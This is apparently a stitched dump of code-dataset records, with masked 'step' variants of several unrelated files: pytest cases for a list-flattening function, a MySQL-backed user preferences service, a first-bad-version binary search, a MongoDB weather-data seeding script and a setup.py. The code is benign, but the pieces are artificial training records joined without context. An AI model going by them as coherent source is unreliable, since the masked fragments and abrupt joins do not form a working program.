[True, False, '!', '?', 71, '@']]]\n\n\[email protected]('n, result', ASSERTIONS)\ndef test_flatten_me(n, result):\n \"\"\"Test flatten_me() for proper output in test cases.\"\"\"\n from flatten_me import flatten_me\n assert flatten_me(n) == result\n", "step-5": "\"\"\"Tests for flatten_me.flatten_me.\"\"\"\nimport pytest\n\n\nASSERTIONS = [\n [[1, [2, 3], 4], [1, 2, 3, 4]],\n [[['a', 'b'], 'c', ['d']], ['a', 'b', 'c', 'd']],\n [['!', '?'], ['!', '?']],\n [[[True, False], ['!'], ['?'], [71, '@']], [True, False, '!', '?', 71, '@']]\n]\n\n\[email protected](\"n, result\", ASSERTIONS)\ndef test_flatten_me(n, result):\n \"\"\"Test flatten_me() for proper output in test cases.\"\"\"\n from flatten_me import flatten_me\n assert flatten_me(n) == result\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# (c) Copyright 2015-2016 Hewlett Packard Enterprise Development LP # (c) Copyright 2017 SUSE LLC import json from bll.plugins import service import logging import pecan import pymysql.cursors LOG = logging.getLogger(__name__) class PreferencesSvc(service.SvcBase): """ Simple service to manage user preferences. User preferences are stored as JSON in a mysql database. The ``target`` value for this plugin is ``preferences``. See :ref:`rest-api` for a full description of the request and response formats. """ def __init__(self, *args, **kwargs): super(PreferencesSvc, self).__init__(*args, **kwargs) config = pecan.conf.db.to_dict() config['cursorclass'] = pymysql.cursors.DictCursor self.connection = pymysql.connect(**config) @service.expose(action='GET') def _get(self): return self._get_mysql(self.data.get("user")) @service.expose(action='POST') def _post(self): self._post_mysql(self.data.get("user"), self.data.get("prefs")) @service.expose(action='PUT') def _put(self): self._put_mysql(self.data.get("user"), self.data.get("prefs")) @service.expose(action='DELETE') def _delete(self): self._delete_mysql(self.data.get("user")) # Functions for writing def _get_mysql(self, user): with self.connection.cursor() as cursor: sql = "SELECT `prefs` from `preferences` WHERE `username`=%s" cursor.execute(sql, user) row = cursor.fetchone() cursor.close() if row is None: message = self._("User {} does not exist").format(user) LOG.warn(message) self.response.error(message) return prefs = row.get("prefs") if isinstance(prefs, dict): return prefs return json.loads(prefs) def _post_mysql(self, user, prefs): with self.connection.cursor() as cursor: sql = "INSERT INTO `preferences` (`username`, `prefs`) " + \ "VALUES (%s,%s)" cursor.execute(sql, [user, json.dumps(prefs)]) cursor.close() self.connection.commit() def _put_mysql(self, user, prefs): with self.connection.cursor() as cursor: sql = "select count(*) from preferences where username=%s" cursor.execute(sql, user) user_found = (cursor.fetchone()['count(*)'] == 1) if user_found: sql = "UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s" cursor.execute(sql, [json.dumps(prefs), user]) cursor.close() self.connection.commit() if not user_found: message = self._( "Cannot update non-existent user {}").format(user) LOG.warn(message) self.response.error(message) def _delete_mysql(self, user): with self.connection.cursor() as cursor: sql = "DELETE FROM `preferences` WHERE `username`=%s" cursor.execute(sql, user) cursor.close() self.connection.commit()
normal
{ "blob_id": "fb787e688da975d37f9fcc39bf5e02957b186982", "index": 7512, "step-1": "<mask token>\n\n\nclass PreferencesSvc(service.SvcBase):\n <mask token>\n\n def __init__(self, *args, **kwargs):\n super(PreferencesSvc, self).__init__(*args, **kwargs)\n config = pecan.conf.db.to_dict()\n config['cursorclass'] = pymysql.cursors.DictCursor\n self.connection = pymysql.connect(**config)\n\n @service.expose(action='GET')\n def _get(self):\n return self._get_mysql(self.data.get('user'))\n\n @service.expose(action='POST')\n def _post(self):\n self._post_mysql(self.data.get('user'), self.data.get('prefs'))\n <mask token>\n\n @service.expose(action='DELETE')\n def _delete(self):\n self._delete_mysql(self.data.get('user'))\n\n def _get_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'SELECT `prefs` from `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n row = cursor.fetchone()\n cursor.close()\n if row is None:\n message = self._('User {} does not exist').format(user)\n LOG.warn(message)\n self.response.error(message)\n return\n prefs = row.get('prefs')\n if isinstance(prefs, dict):\n return prefs\n return json.loads(prefs)\n\n def _post_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = ('INSERT INTO `preferences` (`username`, `prefs`) ' +\n 'VALUES (%s,%s)')\n cursor.execute(sql, [user, json.dumps(prefs)])\n cursor.close()\n self.connection.commit()\n\n def _put_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = 'select count(*) from preferences where username=%s'\n cursor.execute(sql, user)\n user_found = cursor.fetchone()['count(*)'] == 1\n if user_found:\n sql = 'UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s'\n cursor.execute(sql, [json.dumps(prefs), user])\n cursor.close()\n self.connection.commit()\n if not user_found:\n message = self._('Cannot update non-existent user {}').format(user)\n LOG.warn(message)\n self.response.error(message)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass PreferencesSvc(service.SvcBase):\n <mask token>\n\n def __init__(self, *args, **kwargs):\n super(PreferencesSvc, self).__init__(*args, **kwargs)\n config = pecan.conf.db.to_dict()\n config['cursorclass'] = pymysql.cursors.DictCursor\n self.connection = pymysql.connect(**config)\n\n @service.expose(action='GET')\n def _get(self):\n return self._get_mysql(self.data.get('user'))\n\n @service.expose(action='POST')\n def _post(self):\n self._post_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='PUT')\n def _put(self):\n self._put_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='DELETE')\n def _delete(self):\n self._delete_mysql(self.data.get('user'))\n\n def _get_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'SELECT `prefs` from `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n row = cursor.fetchone()\n cursor.close()\n if row is None:\n message = self._('User {} does not exist').format(user)\n LOG.warn(message)\n self.response.error(message)\n return\n prefs = row.get('prefs')\n if isinstance(prefs, dict):\n return prefs\n return json.loads(prefs)\n\n def _post_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = ('INSERT INTO `preferences` (`username`, `prefs`) ' +\n 'VALUES (%s,%s)')\n cursor.execute(sql, [user, json.dumps(prefs)])\n cursor.close()\n self.connection.commit()\n\n def _put_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = 'select count(*) from preferences where username=%s'\n cursor.execute(sql, user)\n user_found = cursor.fetchone()['count(*)'] == 1\n if user_found:\n sql = 'UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s'\n cursor.execute(sql, [json.dumps(prefs), user])\n cursor.close()\n self.connection.commit()\n if not user_found:\n message = self._('Cannot update non-existent user {}').format(user)\n LOG.warn(message)\n self.response.error(message)\n\n def _delete_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'DELETE FROM `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n cursor.close()\n self.connection.commit()\n", "step-3": "<mask token>\n\n\nclass PreferencesSvc(service.SvcBase):\n \"\"\"\n Simple service to manage user preferences. User preferences are stored as\n JSON in a mysql database.\n\n The ``target`` value for this plugin is ``preferences``. See\n :ref:`rest-api` for a full description of the request and response formats.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(PreferencesSvc, self).__init__(*args, **kwargs)\n config = pecan.conf.db.to_dict()\n config['cursorclass'] = pymysql.cursors.DictCursor\n self.connection = pymysql.connect(**config)\n\n @service.expose(action='GET')\n def _get(self):\n return self._get_mysql(self.data.get('user'))\n\n @service.expose(action='POST')\n def _post(self):\n self._post_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='PUT')\n def _put(self):\n self._put_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='DELETE')\n def _delete(self):\n self._delete_mysql(self.data.get('user'))\n\n def _get_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'SELECT `prefs` from `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n row = cursor.fetchone()\n cursor.close()\n if row is None:\n message = self._('User {} does not exist').format(user)\n LOG.warn(message)\n self.response.error(message)\n return\n prefs = row.get('prefs')\n if isinstance(prefs, dict):\n return prefs\n return json.loads(prefs)\n\n def _post_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = ('INSERT INTO `preferences` (`username`, `prefs`) ' +\n 'VALUES (%s,%s)')\n cursor.execute(sql, [user, json.dumps(prefs)])\n cursor.close()\n self.connection.commit()\n\n def _put_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = 'select count(*) from preferences where username=%s'\n cursor.execute(sql, user)\n user_found = cursor.fetchone()['count(*)'] == 1\n if user_found:\n sql = 'UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s'\n cursor.execute(sql, [json.dumps(prefs), user])\n cursor.close()\n self.connection.commit()\n if not user_found:\n message = self._('Cannot update non-existent user {}').format(user)\n LOG.warn(message)\n self.response.error(message)\n\n def _delete_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'DELETE FROM `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n cursor.close()\n self.connection.commit()\n", "step-4": "import json\nfrom bll.plugins import service\nimport logging\nimport pecan\nimport pymysql.cursors\nLOG = logging.getLogger(__name__)\n\n\nclass PreferencesSvc(service.SvcBase):\n \"\"\"\n Simple service to manage user preferences. User preferences are stored as\n JSON in a mysql database.\n\n The ``target`` value for this plugin is ``preferences``. See\n :ref:`rest-api` for a full description of the request and response formats.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(PreferencesSvc, self).__init__(*args, **kwargs)\n config = pecan.conf.db.to_dict()\n config['cursorclass'] = pymysql.cursors.DictCursor\n self.connection = pymysql.connect(**config)\n\n @service.expose(action='GET')\n def _get(self):\n return self._get_mysql(self.data.get('user'))\n\n @service.expose(action='POST')\n def _post(self):\n self._post_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='PUT')\n def _put(self):\n self._put_mysql(self.data.get('user'), self.data.get('prefs'))\n\n @service.expose(action='DELETE')\n def _delete(self):\n self._delete_mysql(self.data.get('user'))\n\n def _get_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'SELECT `prefs` from `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n row = cursor.fetchone()\n cursor.close()\n if row is None:\n message = self._('User {} does not exist').format(user)\n LOG.warn(message)\n self.response.error(message)\n return\n prefs = row.get('prefs')\n if isinstance(prefs, dict):\n return prefs\n return json.loads(prefs)\n\n def _post_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = ('INSERT INTO `preferences` (`username`, `prefs`) ' +\n 'VALUES (%s,%s)')\n cursor.execute(sql, [user, json.dumps(prefs)])\n cursor.close()\n self.connection.commit()\n\n def _put_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = 'select count(*) from preferences where username=%s'\n cursor.execute(sql, user)\n user_found = cursor.fetchone()['count(*)'] == 1\n if user_found:\n sql = 'UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s'\n cursor.execute(sql, [json.dumps(prefs), user])\n cursor.close()\n self.connection.commit()\n if not user_found:\n message = self._('Cannot update non-existent user {}').format(user)\n LOG.warn(message)\n self.response.error(message)\n\n def _delete_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = 'DELETE FROM `preferences` WHERE `username`=%s'\n cursor.execute(sql, user)\n cursor.close()\n self.connection.commit()\n", "step-5": "# (c) Copyright 2015-2016 Hewlett Packard Enterprise Development LP\n# (c) Copyright 2017 SUSE LLC\nimport json\nfrom bll.plugins import service\nimport logging\nimport pecan\nimport pymysql.cursors\n\nLOG = logging.getLogger(__name__)\n\n\nclass PreferencesSvc(service.SvcBase):\n \"\"\"\n Simple service to manage user preferences. User preferences are stored as\n JSON in a mysql database.\n\n The ``target`` value for this plugin is ``preferences``. See\n :ref:`rest-api` for a full description of the request and response formats.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(PreferencesSvc, self).__init__(*args, **kwargs)\n config = pecan.conf.db.to_dict()\n config['cursorclass'] = pymysql.cursors.DictCursor\n self.connection = pymysql.connect(**config)\n\n @service.expose(action='GET')\n def _get(self):\n return self._get_mysql(self.data.get(\"user\"))\n\n @service.expose(action='POST')\n def _post(self):\n self._post_mysql(self.data.get(\"user\"),\n self.data.get(\"prefs\"))\n\n @service.expose(action='PUT')\n def _put(self):\n self._put_mysql(self.data.get(\"user\"),\n self.data.get(\"prefs\"))\n\n @service.expose(action='DELETE')\n def _delete(self):\n self._delete_mysql(self.data.get(\"user\"))\n\n # Functions for writing\n def _get_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = \"SELECT `prefs` from `preferences` WHERE `username`=%s\"\n cursor.execute(sql, user)\n row = cursor.fetchone()\n cursor.close()\n if row is None:\n message = self._(\"User {} does not exist\").format(user)\n LOG.warn(message)\n self.response.error(message)\n return\n prefs = row.get(\"prefs\")\n if isinstance(prefs, dict):\n return prefs\n return json.loads(prefs)\n\n def _post_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = \"INSERT INTO `preferences` (`username`, `prefs`) \" + \\\n \"VALUES (%s,%s)\"\n cursor.execute(sql, [user, json.dumps(prefs)])\n cursor.close()\n self.connection.commit()\n\n def _put_mysql(self, user, prefs):\n with self.connection.cursor() as cursor:\n sql = \"select count(*) from preferences where username=%s\"\n cursor.execute(sql, user)\n user_found = (cursor.fetchone()['count(*)'] == 1)\n if user_found:\n sql = \"UPDATE `preferences` SET `prefs`=%s WHERE `username`=%s\"\n cursor.execute(sql, [json.dumps(prefs), user])\n cursor.close()\n self.connection.commit()\n if not user_found:\n message = self._(\n \"Cannot update non-existent user {}\").format(user)\n LOG.warn(message)\n self.response.error(message)\n\n def _delete_mysql(self, user):\n with self.connection.cursor() as cursor:\n sql = \"DELETE FROM `preferences` WHERE `username`=%s\"\n cursor.execute(sql, user)\n cursor.close()\n self.connection.commit()\n", "step-ids": [ 8, 10, 11, 13, 14 ] }
[ 8, 10, 11, 13, 14 ]
from api import * version_api = api(0) def is_bad_version(v): return version_api.is_bad(v) def first_bad_version(n): # -- DO NOT CHANGE THIS SECTION version_api.n = n # -- api_calls_count = 0 left, right = 1, n while left < right: mid = (left + right) // 2 is_bad = is_bad_version(mid) api_calls_count += 1 if is_bad: right = mid else: left = mid + 1 return left, api_calls_count
normal
{ "blob_id": "df4c03d9faedf2d347593825c7221937a75a9c10", "index": 5360, "step-1": "<mask token>\n\n\ndef is_bad_version(v):\n return version_api.is_bad(v)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef is_bad_version(v):\n return version_api.is_bad(v)\n\n\ndef first_bad_version(n):\n version_api.n = n\n api_calls_count = 0\n left, right = 1, n\n while left < right:\n mid = (left + right) // 2\n is_bad = is_bad_version(mid)\n api_calls_count += 1\n if is_bad:\n right = mid\n else:\n left = mid + 1\n return left, api_calls_count\n", "step-3": "<mask token>\nversion_api = api(0)\n\n\ndef is_bad_version(v):\n return version_api.is_bad(v)\n\n\ndef first_bad_version(n):\n version_api.n = n\n api_calls_count = 0\n left, right = 1, n\n while left < right:\n mid = (left + right) // 2\n is_bad = is_bad_version(mid)\n api_calls_count += 1\n if is_bad:\n right = mid\n else:\n left = mid + 1\n return left, api_calls_count\n", "step-4": "from api import *\nversion_api = api(0)\n\n\ndef is_bad_version(v):\n return version_api.is_bad(v)\n\n\ndef first_bad_version(n):\n version_api.n = n\n api_calls_count = 0\n left, right = 1, n\n while left < right:\n mid = (left + right) // 2\n is_bad = is_bad_version(mid)\n api_calls_count += 1\n if is_bad:\n right = mid\n else:\n left = mid + 1\n return left, api_calls_count\n", "step-5": "from api import *\n\nversion_api = api(0)\n\ndef is_bad_version(v):\n return version_api.is_bad(v)\n\ndef first_bad_version(n):\n# -- DO NOT CHANGE THIS SECTION\n version_api.n = n\n# --\n api_calls_count = 0\n\n left, right = 1, n\n while left < right:\n mid = (left + right) // 2\n\n is_bad = is_bad_version(mid)\n api_calls_count += 1\n\n if is_bad:\n right = mid\n else:\n left = mid + 1\n\n\n return left, api_calls_count\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import random # Imports MongoClient for base level access to the local MongoDB from pymongo import MongoClient # Imports datetime class to create timestamp for weather data storage from datetime import datetime # Importing DailyReportModel class to use the implemented method to insert data into daily_report_model collection from model import DailyReportModel # Database host ip and port information HOST = '127.0.0.1' PORT = '27017' RELATIVE_CONFIG_PATH = '../config/' DB_NAME = 'weather_db' USER_COLLECTION = 'users' DEVICE_COLLECTION = 'devices' WEATHER_DATA_COLLECTION = 'weather_data' DAILY_REPORT_MODEL = 'daily_report_model' # This will initiate connection to the mongodb db_handle = MongoClient(f'mongodb://{HOST}:{PORT}') # We drop the existing database including all the collections and data db_handle.drop_database(DB_NAME) # We recreate the database with the same name weather_dbh = db_handle[DB_NAME] # user data import # User document contains username (String), email (String), and role (String) fields # Reads users.csv one line at a time, splits them into the data fields and inserts with open(RELATIVE_CONFIG_PATH+USER_COLLECTION+'.csv', 'r') as user_fh: for user_row in user_fh: user_row = user_row.rstrip() if user_row: (username, email, role) = user_row.split(',') user_data = {'username': username, 'email': email, 'role': role} # This creates and return a pointer to the users collection user_collection = weather_dbh[USER_COLLECTION] # This inserts the data item as a document in the user collection user_collection.insert_one(user_data) # device data import # Device document contains device_id (String), desc (String), type (String - temperature/humidity) and manufacturer (String) fields # Reads devices.csv one line at a time, splits them into the data fields and inserts with open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh: for device_row in device_fh: device_row = device_row.rstrip() if device_row: (device_id, desc, type, manufacturer) = device_row.split(',') device_data = {'device_id': device_id, 'desc': desc, 'type': type, 'manufacturer': manufacturer} # This creates and return a pointer to the devices collection device_collection = weather_dbh[DEVICE_COLLECTION] # This inserts the data item as a document in the devices collection device_collection.insert_one(device_data) # weather data generation # Weather data document contains device_id (String), value (Integer), and timestamp (Date) fields # Reads devices.csv one line at a time to get device id and type. It then loops for five days (2020-12-01 to 2020-12-05 # For each device and day, it creates random values for each hour (at the 30 minute mark) and stores the data #Created a list to populate it with device id and timestamp devdaylist = [] with open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh: for device_row in device_fh: device_row = device_row.rstrip() if device_row: # _ can be used to ignore values that are not needed (device_id, _, type, _) = device_row.split(',') for day in range(1,6): #creating and appending data to the list day1 = datetime(2020, 12, day) devdaylist.append((device_id, day1)) for hour in range(0,24): timestamp = datetime(2020, 12, day, hour, 30, 0) # Generates random data value in appropriate range as per the type of sensor (normal bell-curve distribution) if (type.lower() == 'temperature'): value = int(random.normalvariate(24,2.2)) elif (type.lower() == 'humidity'): value = int(random.normalvariate(45,3)) weather_data = {'device_id': device_id, 'value': value, 'timestamp': timestamp} weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION] # This inserts the data item as a document in the weather_data collection weather_data_collection.insert_one(weather_data) #Populating the data to daily_report_model collection on setup drm = DailyReportModel() for ddy in devdaylist: drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')
normal
{ "blob_id": "a8b1b218e6649545000803c91c803580cfdbd4f1", "index": 459, "step-1": "<mask token>\n", "step-2": "<mask token>\ndb_handle.drop_database(DB_NAME)\n<mask token>\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\n<mask token>\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\n<mask token>\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "step-3": "<mask token>\nHOST = '127.0.0.1'\nPORT = '27017'\nRELATIVE_CONFIG_PATH = '../config/'\nDB_NAME = 'weather_db'\nUSER_COLLECTION = 'users'\nDEVICE_COLLECTION = 'devices'\nWEATHER_DATA_COLLECTION = 'weather_data'\nDAILY_REPORT_MODEL = 'daily_report_model'\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\ndb_handle.drop_database(DB_NAME)\nweather_dbh = db_handle[DB_NAME]\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\ndevdaylist = []\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\ndrm = DailyReportModel()\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "step-4": "import random\nfrom pymongo import MongoClient\nfrom datetime import datetime\nfrom model import DailyReportModel\nHOST = '127.0.0.1'\nPORT = '27017'\nRELATIVE_CONFIG_PATH = '../config/'\nDB_NAME = 'weather_db'\nUSER_COLLECTION = 'users'\nDEVICE_COLLECTION = 'devices'\nWEATHER_DATA_COLLECTION = 'weather_data'\nDAILY_REPORT_MODEL = 'daily_report_model'\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\ndb_handle.drop_database(DB_NAME)\nweather_dbh = db_handle[DB_NAME]\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\ndevdaylist = []\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\ndrm = DailyReportModel()\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "step-5": "import random\r\n# Imports MongoClient for base level access to the local MongoDB\r\nfrom pymongo import MongoClient\r\n# Imports datetime class to create timestamp for weather data storage\r\nfrom datetime import datetime\r\n# Importing DailyReportModel class to use the implemented method to insert data into daily_report_model collection\r\nfrom model import DailyReportModel\r\n\r\n\r\n# Database host ip and port information\r\nHOST = '127.0.0.1'\r\nPORT = '27017'\r\n\r\nRELATIVE_CONFIG_PATH = '../config/'\r\n\r\nDB_NAME = 'weather_db'\r\nUSER_COLLECTION = 'users'\r\nDEVICE_COLLECTION = 'devices'\r\nWEATHER_DATA_COLLECTION = 'weather_data'\r\nDAILY_REPORT_MODEL = 'daily_report_model'\r\n\r\n# This will initiate connection to the mongodb\r\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\r\n\r\n# We drop the existing database including all the collections and data\r\ndb_handle.drop_database(DB_NAME)\r\n\r\n# We recreate the database with the same name\r\nweather_dbh = db_handle[DB_NAME]\r\n\r\n\r\n# user data import\r\n# User document contains username (String), email (String), and role (String) fields\r\n# Reads users.csv one line at a time, splits them into the data fields and inserts\r\nwith open(RELATIVE_CONFIG_PATH+USER_COLLECTION+'.csv', 'r') as user_fh:\r\n for user_row in user_fh:\r\n user_row = user_row.rstrip()\r\n if user_row:\r\n (username, email, role) = user_row.split(',')\r\n user_data = {'username': username, 'email': email, 'role': role}\r\n \r\n # This creates and return a pointer to the users collection\r\n user_collection = weather_dbh[USER_COLLECTION]\r\n \r\n # This inserts the data item as a document in the user collection\r\n user_collection.insert_one(user_data)\r\n\r\n\r\n# device data import\r\n# Device document contains device_id (String), desc (String), type (String - temperature/humidity) and manufacturer (String) fields\r\n# Reads devices.csv one line at a time, splits them into the data fields and inserts\r\nwith open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh:\r\n for device_row in device_fh:\r\n device_row = device_row.rstrip()\r\n if device_row:\r\n (device_id, desc, type, manufacturer) = device_row.split(',')\r\n device_data = {'device_id': device_id, 'desc': desc, 'type': type, 'manufacturer': manufacturer}\r\n \r\n # This creates and return a pointer to the devices collection\r\n device_collection = weather_dbh[DEVICE_COLLECTION]\r\n \r\n # This inserts the data item as a document in the devices collection\r\n device_collection.insert_one(device_data)\r\n\r\n\r\n# weather data generation\r\n# Weather data document contains device_id (String), value (Integer), and timestamp (Date) fields\r\n# Reads devices.csv one line at a time to get device id and type. It then loops for five days (2020-12-01 to 2020-12-05\r\n# For each device and day, it creates random values for each hour (at the 30 minute mark) and stores the data\r\n\r\n#Created a list to populate it with device id and timestamp\r\ndevdaylist = []\r\nwith open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh:\r\n for device_row in device_fh:\r\n device_row = device_row.rstrip()\r\n if device_row:\r\n # _ can be used to ignore values that are not needed\r\n (device_id, _, type, _) = device_row.split(',')\r\n for day in range(1,6):\r\n #creating and appending data to the list\r\n day1 = datetime(2020, 12, day)\r\n devdaylist.append((device_id, day1))\r\n for hour in range(0,24):\r\n timestamp = datetime(2020, 12, day, hour, 30, 0)\r\n # Generates random data value in appropriate range as per the type of sensor (normal bell-curve distribution)\r\n if (type.lower() == 'temperature'):\r\n value = int(random.normalvariate(24,2.2))\r\n elif (type.lower() == 'humidity'):\r\n value = int(random.normalvariate(45,3))\r\n weather_data = {'device_id': device_id, 'value': value, 'timestamp': timestamp}\r\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\r\n \r\n # This inserts the data item as a document in the weather_data collection\r\n weather_data_collection.insert_one(weather_data)\r\n \r\n\r\n\r\n#Populating the data to daily_report_model collection on setup\r\ndrm = DailyReportModel()\r\nfor ddy in devdaylist:\r\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\r\n \r\n ", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from setuptools import setup setup(name='google-drive-helpers', version='0.1', description='Helper functions for google drive', url='https://github.com/jdoepfert/google-drive-helpers', license='MIT', packages=['gdrive_helpers'], install_requires=[ 'google-api-python-client', ], zip_safe=False)
normal
